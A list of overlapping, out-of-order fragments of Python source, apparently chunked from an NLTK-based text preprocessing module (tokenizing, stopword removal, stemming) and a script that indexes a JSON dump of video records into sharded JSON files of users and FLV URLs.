"txtwords = _removestopwords(txtwords) if stem: txtwords = _stem(txtwords) # TODO: Maybe remove Unicode",
"else: txts = [txt] txt = None if removeblanklines: newtxts = [] for",
"for t in txts: if len(string.strip(t)) > 0: newtxts.append(t) txts = newtxts if",
"tokenizer from nltk.tokenize import MWETokenizer as tokenizer import nltk #from nltk import word_tokenize",
"rebuild the PorterStemmer object each time this function is called.) \"\"\" if converthtml:",
"PyStemmer stemmer, since it is written in C and is thus much faster",
"PorterStemmer() stemmer = Stemmer.Stemmer(\"english\") def textpreprocess(txt, converthtml=True, sentencetokenize=True, removeblanklines=True, replacehyphenbyspace=True, wordtokenize=True, lowercase=True, removestopwords=True,",
"[_wsre.sub(\"\", txt) for txt in txts] if __name__ == \"__main__\": import sys print",
"import word_tokenize from nltk.tokenize import WordPunctTokenizer # This is better for sentences containing",
"For html2text, one could also use NCleaner (common.html2text.batch_nclean) Note: One could improve the",
"wordtokenize: txtwords = [word_tokenize(t) for t in txts] else: txtwords = [string.split(t) for",
"txtwords] def _stem(txtwords): # stemmer = PorterStemmer() # return [[stemmer.stem(w) for w in",
"stemlastword=False, stripallwhitespace=False): \"\"\" Note: For html2text, one could also use NCleaner (common.html2text.batch_nclean) Note:",
"re.compile(\"[\\w\\-\\' ]\", re.UNICODE) #stemmer = PorterStemmer() stemmer = Stemmer.Stemmer(\"english\") def textpreprocess(txt, converthtml=True, sentencetokenize=True,",
"in txts] else: txtwords = [string.split(t) for t in txts] txts = None",
"> 0] return [t[:-1] + [stemmer.stemWord(t[-1])] for t in txtwords if len(t) >",
"os.path import re import string STOPFILE = os.path.join(os.path.abspath(os.path.dirname(os.path.realpath(__file__))), \"english.stop\") stoplist = None _wsre",
"return string.join(txts, sep=\" \") def _removestopwords(txtwords): global stoplist # stoplist = stopwords.words(\"english\") if",
"nltk.word_tokenize(txt) #txts = tokenizer.tokenize(txt.split()) else: txts = [txt] txt = None if removeblanklines:",
"stripallwhitespace: txts = _stripallwhitespace(txts) return string.join(txts, sep=\" \") def _removestopwords(txtwords): global stoplist #",
"is called.) \"\"\" if converthtml: txt = html2text.html2text(txt) if sentencetokenize: txts = nltk.word_tokenize(txt)",
"t in txts] if wordtokenize: txtwords = [word_tokenize(t) for t in txts] else:",
"re import string STOPFILE = os.path.join(os.path.abspath(os.path.dirname(os.path.realpath(__file__))), \"english.stop\") stoplist = None _wsre = re.compile(\"\\s+\")",
"\"\"\" Note: For html2text, one could also use NCleaner (common.html2text.batch_nclean) Note: One could",
"txts] if wordtokenize: txtwords = [word_tokenize(t) for t in txts] else: txtwords =",
"Note: For html2text, one could also use NCleaner (common.html2text.batch_nclean) Note: One could improve",
"is thus much faster than the NLTK porter stemmer import Stemmer #from nltk.stem.porter",
"= [[string.lower(w) for w in t] for t in txtwords] if removestopwords: txtwords",
"\"\"\" if converthtml: txt = html2text.html2text(txt) if sentencetokenize: txts = nltk.word_tokenize(txt) #txts =",
"wordtokenize=True, lowercase=True, removestopwords=True, stem=True, removenonalphanumericchars=True, stemlastword=False, stripallwhitespace=False): \"\"\" Note: For html2text, one could",
"= None if removeblanklines: newtxts = [] for t in txts: if len(string.strip(t))",
"in txtwords if len(t) > 0] return [t[:-1] + [stemmer.stemWord(t[-1])] for t in",
"replacehyphenbyspace=True, wordtokenize=True, lowercase=True, removestopwords=True, stem=True, removenonalphanumericchars=True, stemlastword=False, stripallwhitespace=False): \"\"\" Note: For html2text, one",
"= tokenizer.tokenize(txt.split()) else: txts = [txt] txt = None if removeblanklines: newtxts =",
"in txtwords] if removestopwords: txtwords = _removestopwords(txtwords) if stem: txtwords = _stem(txtwords) #",
"t in txtwords if len(t) > 0] def _stripallwhitespace(txts): return [_wsre.sub(\"\", txt) for",
"t in txtwords if len(t) > 0] return [t[:-1] + [stemmer.stemWord(t[-1])] for t",
"_stemlastword(txtwords): # return [t[:-1] + [stemmer.stem(t[-1])] for t in txtwords if len(t) >",
"= PorterStemmer() stemmer = Stemmer.Stemmer(\"english\") def textpreprocess(txt, converthtml=True, sentencetokenize=True, removeblanklines=True, replacehyphenbyspace=True, wordtokenize=True, lowercase=True,",
"txtwords] def _removenonalphanumericchars(txtwords): return [[string.join([c for c in w if _alphanumre.search(c) is not",
"None if lowercase: txtwords = [[string.lower(w) for w in t] for t in",
"Unicode accents? http://stackoverflow.com/questions/517923/what-is-the-best-way-to-remove-accents-in-a-python-unicode-string if removenonalphanumericchars: txtwords = _removenonalphanumericchars(txtwords) txtwords = [[w for w",
"t in txtwords] def _stemlastword(txtwords): # return [t[:-1] + [stemmer.stem(t[-1])] for t in",
"txtwords = [word_tokenize(t) for t in txts] else: txtwords = [string.split(t) for t",
"newtxts if replacehyphenbyspace: txts = [t.replace(\"-\", \" \") for t in txts] if",
"lowercase=True, removestopwords=True, stem=True, removenonalphanumericchars=True, stemlastword=False, stripallwhitespace=False): \"\"\" Note: For html2text, one could also",
"the NLTK porter stemmer import Stemmer #from nltk.stem.porter import PorterStemmer import os.path import",
"for w in t] for t in txtwords] return [stemmer.stemWords(t) for t in",
"txtwords if len(t) > 0] def _stripallwhitespace(txts): return [_wsre.sub(\"\", txt) for txt in",
"in txtwords if len(t) > 0] def _stripallwhitespace(txts): return [_wsre.sub(\"\", txt) for txt",
"\"\"] for t in txtwords] if stemlastword: txtwords = _stemlastword(txtwords) txts = [string.join(words)",
"os.path.join(os.path.abspath(os.path.dirname(os.path.realpath(__file__))), \"english.stop\") stoplist = None _wsre = re.compile(\"\\s+\") _alphanumre = re.compile(\"[\\w\\-\\' ]\", re.UNICODE)",
"called.) \"\"\" if converthtml: txt = html2text.html2text(txt) if sentencetokenize: txts = nltk.word_tokenize(txt) #txts",
"in txtwords] if stemlastword: txtwords = _stemlastword(txtwords) txts = [string.join(words) for words in",
"txtwords = _removenonalphanumericchars(txtwords) txtwords = [[w for w in t if w !=",
"t in txts] txts = None if lowercase: txtwords = [[string.lower(w) for w",
"def _removestopwords(txtwords): global stoplist # stoplist = stopwords.words(\"english\") if stoplist is None: stoplist",
"= nltk.word_tokenize(txt) #txts = tokenizer.tokenize(txt.split()) else: txts = [txt] txt = None if",
"\") def _removestopwords(txtwords): global stoplist # stoplist = stopwords.words(\"english\") if stoplist is None:",
"return [[w for w in t if w not in stoplist] for t",
"improve the sentence tokenization, by using the original HTML formatting in the tokenization.",
"words in txtwords] if stripallwhitespace: txts = _stripallwhitespace(txts) return string.join(txts, sep=\" \") def",
"containing unicode, like: u\"N\\u00faria Espert\" word_tokenize = WordPunctTokenizer().tokenize #from nltk.corpus import stopwords #",
"is None: stoplist = frozenset([string.strip(l) for l in open(STOPFILE).readlines()]) return [[w for w",
"else: txtwords = [string.split(t) for t in txts] txts = None if lowercase:",
"len(t) > 0] return [t[:-1] + [stemmer.stemWord(t[-1])] for t in txtwords if len(t)",
"for t in txtwords] def _removenonalphanumericchars(txtwords): return [[string.join([c for c in w if",
"[txt] txt = None if removeblanklines: newtxts = [] for t in txts:",
"HTML formatting in the tokenization. Note: We use the Porter stemmer. (Optimization: Shouldn't",
"unicode, like: u\"N\\u00faria Espert\" word_tokenize = WordPunctTokenizer().tokenize #from nltk.corpus import stopwords # Use",
"stoplist] for t in txtwords] def _stem(txtwords): # stemmer = PorterStemmer() # return",
"One could improve the sentence tokenization, by using the original HTML formatting in",
"= PorterStemmer() # return [[stemmer.stem(w) for w in t] for t in txtwords]",
"[t[:-1] + [stemmer.stem(t[-1])] for t in txtwords if len(t) > 0] return [t[:-1]",
"t in txts: if len(string.strip(t)) > 0: newtxts.append(t) txts = newtxts if replacehyphenbyspace:",
"txtwords = [string.split(t) for t in txts] txts = None if lowercase: txtwords",
"re.compile(\"\\s+\") _alphanumre = re.compile(\"[\\w\\-\\' ]\", re.UNICODE) #stemmer = PorterStemmer() stemmer = Stemmer.Stemmer(\"english\") def",
"re.UNICODE) #stemmer = PorterStemmer() stemmer = Stemmer.Stemmer(\"english\") def textpreprocess(txt, converthtml=True, sentencetokenize=True, removeblanklines=True, replacehyphenbyspace=True,",
"txtwords = _stem(txtwords) # TODO: Maybe remove Unicode accents? http://stackoverflow.com/questions/517923/what-is-the-best-way-to-remove-accents-in-a-python-unicode-string if removenonalphanumericchars: txtwords",
"_wsre = re.compile(\"\\s+\") _alphanumre = re.compile(\"[\\w\\-\\' ]\", re.UNICODE) #stemmer = PorterStemmer() stemmer =",
"tokenizer.tokenize(txt.split()) else: txts = [txt] txt = None if removeblanklines: newtxts = []",
"not None], \"\") for w in t] for t in txtwords] def _stemlastword(txtwords):",
"[string.split(t) for t in txts] txts = None if lowercase: txtwords = [[string.lower(w)",
"tokenization. Note: We use the Porter stemmer. (Optimization: Shouldn't rebuild the PorterStemmer object",
"(Optimization: Shouldn't rebuild the PorterStemmer object each time this function is called.) \"\"\"",
"+ [stemmer.stem(t[-1])] for t in txtwords if len(t) > 0] return [t[:-1] +",
"since it is written in C and is thus much faster than the",
"stoplist = stopwords.words(\"english\") if stoplist is None: stoplist = frozenset([string.strip(l) for l in",
"[stemmer.stem(t[-1])] for t in txtwords if len(t) > 0] return [t[:-1] + [stemmer.stemWord(t[-1])]",
"_removestopwords(txtwords) if stem: txtwords = _stem(txtwords) # TODO: Maybe remove Unicode accents? http://stackoverflow.com/questions/517923/what-is-the-best-way-to-remove-accents-in-a-python-unicode-string",
"[t[:-1] + [stemmer.stemWord(t[-1])] for t in txtwords if len(t) > 0] def _stripallwhitespace(txts):",
"stem=True, removenonalphanumericchars=True, stemlastword=False, stripallwhitespace=False): \"\"\" Note: For html2text, one could also use NCleaner",
"[[w for w in t if w != \"\"] for t in txtwords]",
"#txts = tokenizer.tokenize(txt.split()) else: txts = [txt] txt = None if removeblanklines: newtxts",
"Note: We use the Porter stemmer. (Optimization: Shouldn't rebuild the PorterStemmer object each",
"stemlastword: txtwords = _stemlastword(txtwords) txts = [string.join(words) for words in txtwords] if stripallwhitespace:",
"stripallwhitespace=False): \"\"\" Note: For html2text, one could also use NCleaner (common.html2text.batch_nclean) Note: One",
"import string STOPFILE = os.path.join(os.path.abspath(os.path.dirname(os.path.realpath(__file__))), \"english.stop\") stoplist = None _wsre = re.compile(\"\\s+\") _alphanumre",
"textpreprocess(txt, converthtml=True, sentencetokenize=True, removeblanklines=True, replacehyphenbyspace=True, wordtokenize=True, lowercase=True, removestopwords=True, stem=True, removenonalphanumericchars=True, stemlastword=False, stripallwhitespace=False): \"\"\"",
"using the original HTML formatting in the tokenization. Note: We use the Porter",
"PorterStemmer object each time this function is called.) \"\"\" if converthtml: txt =",
"Maybe remove Unicode accents? http://stackoverflow.com/questions/517923/what-is-the-best-way-to-remove-accents-in-a-python-unicode-string if removenonalphanumericchars: txtwords = _removenonalphanumericchars(txtwords) txtwords = [[w",
"if stem: txtwords = _stem(txtwords) # TODO: Maybe remove Unicode accents? http://stackoverflow.com/questions/517923/what-is-the-best-way-to-remove-accents-in-a-python-unicode-string if",
"_alphanumre = re.compile(\"[\\w\\-\\' ]\", re.UNICODE) #stemmer = PorterStemmer() stemmer = Stemmer.Stemmer(\"english\") def textpreprocess(txt,",
"if w not in stoplist] for t in txtwords] def _stem(txtwords): # stemmer",
"import stopwords # Use the PyStemmer stemmer, since it is written in C",
"= _stripallwhitespace(txts) return string.join(txts, sep=\" \") def _removestopwords(txtwords): global stoplist # stoplist =",
"[stemmer.stemWord(t[-1])] for t in txtwords if len(t) > 0] def _stripallwhitespace(txts): return [_wsre.sub(\"\",",
"txts = nltk.word_tokenize(txt) #txts = tokenizer.tokenize(txt.split()) else: txts = [txt] txt = None",
"def textpreprocess(txt, converthtml=True, sentencetokenize=True, removeblanklines=True, replacehyphenbyspace=True, wordtokenize=True, lowercase=True, removestopwords=True, stem=True, removenonalphanumericchars=True, stemlastword=False, stripallwhitespace=False):",
"t] for t in txtwords] def _stemlastword(txtwords): # return [t[:-1] + [stemmer.stem(t[-1])] for",
"http://stackoverflow.com/questions/517923/what-is-the-best-way-to-remove-accents-in-a-python-unicode-string if removenonalphanumericchars: txtwords = _removenonalphanumericchars(txtwords) txtwords = [[w for w in t",
"txts = None if lowercase: txtwords = [[string.lower(w) for w in t] for",
"= re.compile(\"[\\w\\-\\' ]\", re.UNICODE) #stemmer = PorterStemmer() stemmer = Stemmer.Stemmer(\"english\") def textpreprocess(txt, converthtml=True,",
"= [[w for w in t if w != \"\"] for t in",
"for t in txtwords] def _stem(txtwords): # stemmer = PorterStemmer() # return [[stemmer.stem(w)",
"import Stemmer #from nltk.stem.porter import PorterStemmer import os.path import re import string STOPFILE",
"None if removeblanklines: newtxts = [] for t in txts: if len(string.strip(t)) >",
"_stem(txtwords) # TODO: Maybe remove Unicode accents? http://stackoverflow.com/questions/517923/what-is-the-best-way-to-remove-accents-in-a-python-unicode-string if removenonalphanumericchars: txtwords = _removenonalphanumericchars(txtwords)",
"written in C and is thus much faster than the NLTK porter stemmer",
"= [string.join(words) for words in txtwords] if stripallwhitespace: txts = _stripallwhitespace(txts) return string.join(txts,",
"time this function is called.) \"\"\" if converthtml: txt = html2text.html2text(txt) if sentencetokenize:",
"Shouldn't rebuild the PorterStemmer object each time this function is called.) \"\"\" if",
"in txtwords] def _removenonalphanumericchars(txtwords): return [[string.join([c for c in w if _alphanumre.search(c) is",
"WordPunctTokenizer # This is better for sentences containing unicode, like: u\"N\\u00faria Espert\" word_tokenize",
"w not in stoplist] for t in txtwords] def _stem(txtwords): # stemmer ="
] |
[
"name self.description = description self.status = status def __repr__(self): return self.name def __eq__(self,",
"description self.status = status def __repr__(self): return self.name def __eq__(self, other): return self.name",
"return self.name def __eq__(self, other): return self.name == other.name def key(self): return self.name",
"Project: def __init__(self, name, status=None, description=None): self.name = name self.description = description self.status",
"def __init__(self, name, status=None, description=None): self.name = name self.description = description self.status =",
"description=None): self.name = name self.description = description self.status = status def __repr__(self): return",
"self.name = name self.description = description self.status = status def __repr__(self): return self.name",
"self.description = description self.status = status def __repr__(self): return self.name def __eq__(self, other):",
"def __repr__(self): return self.name def __eq__(self, other): return self.name == other.name def key(self):",
"self.status = status def __repr__(self): return self.name def __eq__(self, other): return self.name ==",
"__init__(self, name, status=None, description=None): self.name = name self.description = description self.status = status",
"status def __repr__(self): return self.name def __eq__(self, other): return self.name == other.name def",
"class Project: def __init__(self, name, status=None, description=None): self.name = name self.description = description",
"status=None, description=None): self.name = name self.description = description self.status = status def __repr__(self):",
"name, status=None, description=None): self.name = name self.description = description self.status = status def",
"= status def __repr__(self): return self.name def __eq__(self, other): return self.name == other.name",
"= description self.status = status def __repr__(self): return self.name def __eq__(self, other): return",
"__repr__(self): return self.name def __eq__(self, other): return self.name == other.name def key(self): return",
"= name self.description = description self.status = status def __repr__(self): return self.name def"
] |
[
"Exception('output_dir is not a directory') user_pool = collections.defaultdict( lambda: collections.defaultdict( lambda: collections.defaultdict(list)) )",
"import os def main(): arg_parser = argparse.ArgumentParser() arg_parser.add_argument('input_dump', type=argparse.FileType('r')) arg_parser.add_argument('output_dir') args = arg_parser.parse_args()",
"if not doc.get('item_added_to_tracker'): continue user = doc['user'].lower() video_id = doc['video_id'] user_pool[user[0:1]][user[0:2]][user].append(video_id) user_pool[user[0:1]][user[0:2]][user] =",
"= argparse.ArgumentParser() arg_parser.add_argument('input_dump', type=argparse.FileType('r')) arg_parser.add_argument('output_dir') args = arg_parser.parse_args() if not os.path.isdir(args.output_dir): raise Exception('output_dir",
"collections.defaultdict(dict)) for line in args.input_dump: doc = json.loads(line) if not doc.get('item_added_to_tracker'): continue user",
"= os.path.join(args.output_dir, path) dir_path = os.path.dirname(path) if not os.path.exists(dir_path): os.makedirs(dir_path) with open(path, 'w')",
"= [] flv_doc = doc['flv'] flv_keys = tuple(sorted(int(key) for key in flv_doc.keys())) for",
"json.dump(subsubpool, out_file, indent=2) for key, subpool in flv_pool.items(): for subkey, subsubpool in subpool.items():",
"os.path.join(args.output_dir, path) dir_path = os.path.dirname(path) if not os.path.exists(dir_path): os.makedirs(dir_path) with open(path, 'w') as",
"flv_keys = tuple(sorted(int(key) for key in flv_doc.keys())) for key in flv_keys: url =",
"key in flv_doc.keys())) for key in flv_keys: url = flv_doc[str(key)] flv_urls.append(url) flv_pool[video_id[0:2]][video_id[0:3]][video_id] =",
"if not os.path.isdir(args.output_dir): raise Exception('output_dir is not a directory') user_pool = collections.defaultdict( lambda:",
"doc['flv'] flv_keys = tuple(sorted(int(key) for key in flv_doc.keys())) for key in flv_keys: url",
"os def main(): arg_parser = argparse.ArgumentParser() arg_parser.add_argument('input_dump', type=argparse.FileType('r')) arg_parser.add_argument('output_dir') args = arg_parser.parse_args() if",
"arg_parser.add_argument('output_dir') args = arg_parser.parse_args() if not os.path.isdir(args.output_dir): raise Exception('output_dir is not a directory')",
"continue user = doc['user'].lower() video_id = doc['video_id'] user_pool[user[0:1]][user[0:2]][user].append(video_id) user_pool[user[0:1]][user[0:2]][user] = list(sorted(user_pool[user[0:1]][user[0:2]][user])) flv_urls =",
"list(sorted(user_pool[user[0:1]][user[0:2]][user])) flv_urls = [] flv_doc = doc['flv'] flv_keys = tuple(sorted(int(key) for key in",
"= tuple(sorted(int(key) for key in flv_doc.keys())) for key in flv_keys: url = flv_doc[str(key)]",
"lambda: collections.defaultdict( lambda: collections.defaultdict(list)) ) flv_pool = collections.defaultdict(lambda: collections.defaultdict(dict)) for line in args.input_dump:",
"url = flv_doc[str(key)] flv_urls.append(url) flv_pool[video_id[0:2]][video_id[0:3]][video_id] = flv_urls for key, subpool in user_pool.items(): for",
"= 'video/{0}/data-{1}.json'.format(key, subkey) path = os.path.join(args.output_dir, path) dir_path = os.path.dirname(path) if not os.path.exists(dir_path):",
"= os.path.dirname(path) if not os.path.exists(dir_path): os.makedirs(dir_path) with open(path, 'w') as out_file: json.dump(subsubpool, out_file,",
"[] flv_doc = doc['flv'] flv_keys = tuple(sorted(int(key) for key in flv_doc.keys())) for key",
"'channel/{0}/data-{1}.json'.format(key, subkey) path = os.path.join(args.output_dir, path) dir_path = os.path.dirname(path) if not os.path.exists(dir_path): os.makedirs(dir_path)",
"doc = json.loads(line) if not doc.get('item_added_to_tracker'): continue user = doc['user'].lower() video_id = doc['video_id']",
"os.makedirs(dir_path) with open(path, 'w') as out_file: json.dump(subsubpool, out_file, indent=2) for key, subpool in",
"os.path.exists(dir_path): os.makedirs(dir_path) with open(path, 'w') as out_file: json.dump(subsubpool, out_file, indent=2) if __name__ ==",
"subsubpool in subpool.items(): path = 'video/{0}/data-{1}.json'.format(key, subkey) path = os.path.join(args.output_dir, path) dir_path =",
"in flv_doc.keys())) for key in flv_keys: url = flv_doc[str(key)] flv_urls.append(url) flv_pool[video_id[0:2]][video_id[0:3]][video_id] = flv_urls",
"key in flv_keys: url = flv_doc[str(key)] flv_urls.append(url) flv_pool[video_id[0:2]][video_id[0:3]][video_id] = flv_urls for key, subpool",
"arg_parser.parse_args() if not os.path.isdir(args.output_dir): raise Exception('output_dir is not a directory') user_pool = collections.defaultdict(",
"for subkey, subsubpool in subpool.items(): path = 'video/{0}/data-{1}.json'.format(key, subkey) path = os.path.join(args.output_dir, path)",
"subkey, subsubpool in subpool.items(): path = 'channel/{0}/data-{1}.json'.format(key, subkey) path = os.path.join(args.output_dir, path) dir_path",
"collections.defaultdict(list)) ) flv_pool = collections.defaultdict(lambda: collections.defaultdict(dict)) for line in args.input_dump: doc = json.loads(line)",
"indent=2) for key, subpool in flv_pool.items(): for subkey, subsubpool in subpool.items(): path =",
"shutil import os def main(): arg_parser = argparse.ArgumentParser() arg_parser.add_argument('input_dump', type=argparse.FileType('r')) arg_parser.add_argument('output_dir') args =",
"json import shutil import os def main(): arg_parser = argparse.ArgumentParser() arg_parser.add_argument('input_dump', type=argparse.FileType('r')) arg_parser.add_argument('output_dir')",
"json.loads(line) if not doc.get('item_added_to_tracker'): continue user = doc['user'].lower() video_id = doc['video_id'] user_pool[user[0:1]][user[0:2]][user].append(video_id) user_pool[user[0:1]][user[0:2]][user]",
"in args.input_dump: doc = json.loads(line) if not doc.get('item_added_to_tracker'): continue user = doc['user'].lower() video_id",
"in flv_pool.items(): for subkey, subsubpool in subpool.items(): path = 'video/{0}/data-{1}.json'.format(key, subkey) path =",
"for subkey, subsubpool in subpool.items(): path = 'channel/{0}/data-{1}.json'.format(key, subkey) path = os.path.join(args.output_dir, path)",
"in subpool.items(): path = 'channel/{0}/data-{1}.json'.format(key, subkey) path = os.path.join(args.output_dir, path) dir_path = os.path.dirname(path)",
"collections.defaultdict( lambda: collections.defaultdict(list)) ) flv_pool = collections.defaultdict(lambda: collections.defaultdict(dict)) for line in args.input_dump: doc",
"= collections.defaultdict( lambda: collections.defaultdict( lambda: collections.defaultdict(list)) ) flv_pool = collections.defaultdict(lambda: collections.defaultdict(dict)) for line",
"for key, subpool in flv_pool.items(): for subkey, subsubpool in subpool.items(): path = 'video/{0}/data-{1}.json'.format(key,",
"not a directory') user_pool = collections.defaultdict( lambda: collections.defaultdict( lambda: collections.defaultdict(list)) ) flv_pool =",
"line in args.input_dump: doc = json.loads(line) if not doc.get('item_added_to_tracker'): continue user = doc['user'].lower()",
"= doc['user'].lower() video_id = doc['video_id'] user_pool[user[0:1]][user[0:2]][user].append(video_id) user_pool[user[0:1]][user[0:2]][user] = list(sorted(user_pool[user[0:1]][user[0:2]][user])) flv_urls = [] flv_doc",
"os.makedirs(dir_path) with open(path, 'w') as out_file: json.dump(subsubpool, out_file, indent=2) if __name__ == '__main__':",
"out_file: json.dump(subsubpool, out_file, indent=2) for key, subpool in flv_pool.items(): for subkey, subsubpool in",
"argparse import collections import json import shutil import os def main(): arg_parser =",
"subpool in user_pool.items(): for subkey, subsubpool in subpool.items(): path = 'channel/{0}/data-{1}.json'.format(key, subkey) path",
"collections import json import shutil import os def main(): arg_parser = argparse.ArgumentParser() arg_parser.add_argument('input_dump',",
"directory') user_pool = collections.defaultdict( lambda: collections.defaultdict( lambda: collections.defaultdict(list)) ) flv_pool = collections.defaultdict(lambda: collections.defaultdict(dict))",
"lambda: collections.defaultdict(list)) ) flv_pool = collections.defaultdict(lambda: collections.defaultdict(dict)) for line in args.input_dump: doc =",
"argparse.ArgumentParser() arg_parser.add_argument('input_dump', type=argparse.FileType('r')) arg_parser.add_argument('output_dir') args = arg_parser.parse_args() if not os.path.isdir(args.output_dir): raise Exception('output_dir is",
"doc.get('item_added_to_tracker'): continue user = doc['user'].lower() video_id = doc['video_id'] user_pool[user[0:1]][user[0:2]][user].append(video_id) user_pool[user[0:1]][user[0:2]][user] = list(sorted(user_pool[user[0:1]][user[0:2]][user])) flv_urls",
"user_pool = collections.defaultdict( lambda: collections.defaultdict( lambda: collections.defaultdict(list)) ) flv_pool = collections.defaultdict(lambda: collections.defaultdict(dict)) for",
"open(path, 'w') as out_file: json.dump(subsubpool, out_file, indent=2) for key, subpool in flv_pool.items(): for",
"type=argparse.FileType('r')) arg_parser.add_argument('output_dir') args = arg_parser.parse_args() if not os.path.isdir(args.output_dir): raise Exception('output_dir is not a",
"a directory') user_pool = collections.defaultdict( lambda: collections.defaultdict( lambda: collections.defaultdict(list)) ) flv_pool = collections.defaultdict(lambda:",
"user = doc['user'].lower() video_id = doc['video_id'] user_pool[user[0:1]][user[0:2]][user].append(video_id) user_pool[user[0:1]][user[0:2]][user] = list(sorted(user_pool[user[0:1]][user[0:2]][user])) flv_urls = []",
"flv_urls.append(url) flv_pool[video_id[0:2]][video_id[0:3]][video_id] = flv_urls for key, subpool in user_pool.items(): for subkey, subsubpool in",
"video_id = doc['video_id'] user_pool[user[0:1]][user[0:2]][user].append(video_id) user_pool[user[0:1]][user[0:2]][user] = list(sorted(user_pool[user[0:1]][user[0:2]][user])) flv_urls = [] flv_doc = doc['flv']",
"import shutil import os def main(): arg_parser = argparse.ArgumentParser() arg_parser.add_argument('input_dump', type=argparse.FileType('r')) arg_parser.add_argument('output_dir') args",
"key, subpool in user_pool.items(): for subkey, subsubpool in subpool.items(): path = 'channel/{0}/data-{1}.json'.format(key, subkey)",
"os.path.dirname(path) if not os.path.exists(dir_path): os.makedirs(dir_path) with open(path, 'w') as out_file: json.dump(subsubpool, out_file, indent=2)",
"flv_pool.items(): for subkey, subsubpool in subpool.items(): path = 'video/{0}/data-{1}.json'.format(key, subkey) path = os.path.join(args.output_dir,",
"for key in flv_doc.keys())) for key in flv_keys: url = flv_doc[str(key)] flv_urls.append(url) flv_pool[video_id[0:2]][video_id[0:3]][video_id]",
"not os.path.isdir(args.output_dir): raise Exception('output_dir is not a directory') user_pool = collections.defaultdict( lambda: collections.defaultdict(",
"subpool in flv_pool.items(): for subkey, subsubpool in subpool.items(): path = 'video/{0}/data-{1}.json'.format(key, subkey) path",
"with open(path, 'w') as out_file: json.dump(subsubpool, out_file, indent=2) for key, subpool in flv_pool.items():",
"subkey, subsubpool in subpool.items(): path = 'video/{0}/data-{1}.json'.format(key, subkey) path = os.path.join(args.output_dir, path) dir_path",
"out_file, indent=2) for key, subpool in flv_pool.items(): for subkey, subsubpool in subpool.items(): path",
"doc['user'].lower() video_id = doc['video_id'] user_pool[user[0:1]][user[0:2]][user].append(video_id) user_pool[user[0:1]][user[0:2]][user] = list(sorted(user_pool[user[0:1]][user[0:2]][user])) flv_urls = [] flv_doc =",
"flv_pool = collections.defaultdict(lambda: collections.defaultdict(dict)) for line in args.input_dump: doc = json.loads(line) if not",
"flv_doc[str(key)] flv_urls.append(url) flv_pool[video_id[0:2]][video_id[0:3]][video_id] = flv_urls for key, subpool in user_pool.items(): for subkey, subsubpool",
"key, subpool in flv_pool.items(): for subkey, subsubpool in subpool.items(): path = 'video/{0}/data-{1}.json'.format(key, subkey)",
"import json import shutil import os def main(): arg_parser = argparse.ArgumentParser() arg_parser.add_argument('input_dump', type=argparse.FileType('r'))",
"args = arg_parser.parse_args() if not os.path.isdir(args.output_dir): raise Exception('output_dir is not a directory') user_pool",
"= doc['flv'] flv_keys = tuple(sorted(int(key) for key in flv_doc.keys())) for key in flv_keys:",
"user_pool.items(): for subkey, subsubpool in subpool.items(): path = 'channel/{0}/data-{1}.json'.format(key, subkey) path = os.path.join(args.output_dir,",
"subpool.items(): path = 'channel/{0}/data-{1}.json'.format(key, subkey) path = os.path.join(args.output_dir, path) dir_path = os.path.dirname(path) if",
"= arg_parser.parse_args() if not os.path.isdir(args.output_dir): raise Exception('output_dir is not a directory') user_pool =",
"raise Exception('output_dir is not a directory') user_pool = collections.defaultdict( lambda: collections.defaultdict( lambda: collections.defaultdict(list))",
"'w') as out_file: json.dump(subsubpool, out_file, indent=2) for key, subpool in flv_pool.items(): for subkey,",
"in subpool.items(): path = 'video/{0}/data-{1}.json'.format(key, subkey) path = os.path.join(args.output_dir, path) dir_path = os.path.dirname(path)",
"collections.defaultdict(lambda: collections.defaultdict(dict)) for line in args.input_dump: doc = json.loads(line) if not doc.get('item_added_to_tracker'): continue",
"for line in args.input_dump: doc = json.loads(line) if not doc.get('item_added_to_tracker'): continue user =",
"import argparse import collections import json import shutil import os def main(): arg_parser",
"flv_pool[video_id[0:2]][video_id[0:3]][video_id] = flv_urls for key, subpool in user_pool.items(): for subkey, subsubpool in subpool.items():",
"tuple(sorted(int(key) for key in flv_doc.keys())) for key in flv_keys: url = flv_doc[str(key)] flv_urls.append(url)",
"arg_parser.add_argument('input_dump', type=argparse.FileType('r')) arg_parser.add_argument('output_dir') args = arg_parser.parse_args() if not os.path.isdir(args.output_dir): raise Exception('output_dir is not",
"os.path.isdir(args.output_dir): raise Exception('output_dir is not a directory') user_pool = collections.defaultdict( lambda: collections.defaultdict( lambda:",
"subpool.items(): path = 'video/{0}/data-{1}.json'.format(key, subkey) path = os.path.join(args.output_dir, path) dir_path = os.path.dirname(path) if",
"<filename>util/process_dump.py import argparse import collections import json import shutil import os def main():",
"path = os.path.join(args.output_dir, path) dir_path = os.path.dirname(path) if not os.path.exists(dir_path): os.makedirs(dir_path) with open(path,",
"user_pool[user[0:1]][user[0:2]][user] = list(sorted(user_pool[user[0:1]][user[0:2]][user])) flv_urls = [] flv_doc = doc['flv'] flv_keys = tuple(sorted(int(key) for",
"= flv_doc[str(key)] flv_urls.append(url) flv_pool[video_id[0:2]][video_id[0:3]][video_id] = flv_urls for key, subpool in user_pool.items(): for subkey,",
"collections.defaultdict( lambda: collections.defaultdict( lambda: collections.defaultdict(list)) ) flv_pool = collections.defaultdict(lambda: collections.defaultdict(dict)) for line in",
"arg_parser = argparse.ArgumentParser() arg_parser.add_argument('input_dump', type=argparse.FileType('r')) arg_parser.add_argument('output_dir') args = arg_parser.parse_args() if not os.path.isdir(args.output_dir): raise",
"= collections.defaultdict(lambda: collections.defaultdict(dict)) for line in args.input_dump: doc = json.loads(line) if not doc.get('item_added_to_tracker'):",
"not doc.get('item_added_to_tracker'): continue user = doc['user'].lower() video_id = doc['video_id'] user_pool[user[0:1]][user[0:2]][user].append(video_id) user_pool[user[0:1]][user[0:2]][user] = list(sorted(user_pool[user[0:1]][user[0:2]][user]))",
"path = 'video/{0}/data-{1}.json'.format(key, subkey) path = os.path.join(args.output_dir, path) dir_path = os.path.dirname(path) if not",
"if not os.path.exists(dir_path): os.makedirs(dir_path) with open(path, 'w') as out_file: json.dump(subsubpool, out_file, indent=2) if",
"doc['video_id'] user_pool[user[0:1]][user[0:2]][user].append(video_id) user_pool[user[0:1]][user[0:2]][user] = list(sorted(user_pool[user[0:1]][user[0:2]][user])) flv_urls = [] flv_doc = doc['flv'] flv_keys =",
"for key in flv_keys: url = flv_doc[str(key)] flv_urls.append(url) flv_pool[video_id[0:2]][video_id[0:3]][video_id] = flv_urls for key,",
"with open(path, 'w') as out_file: json.dump(subsubpool, out_file, indent=2) if __name__ == '__main__': main()",
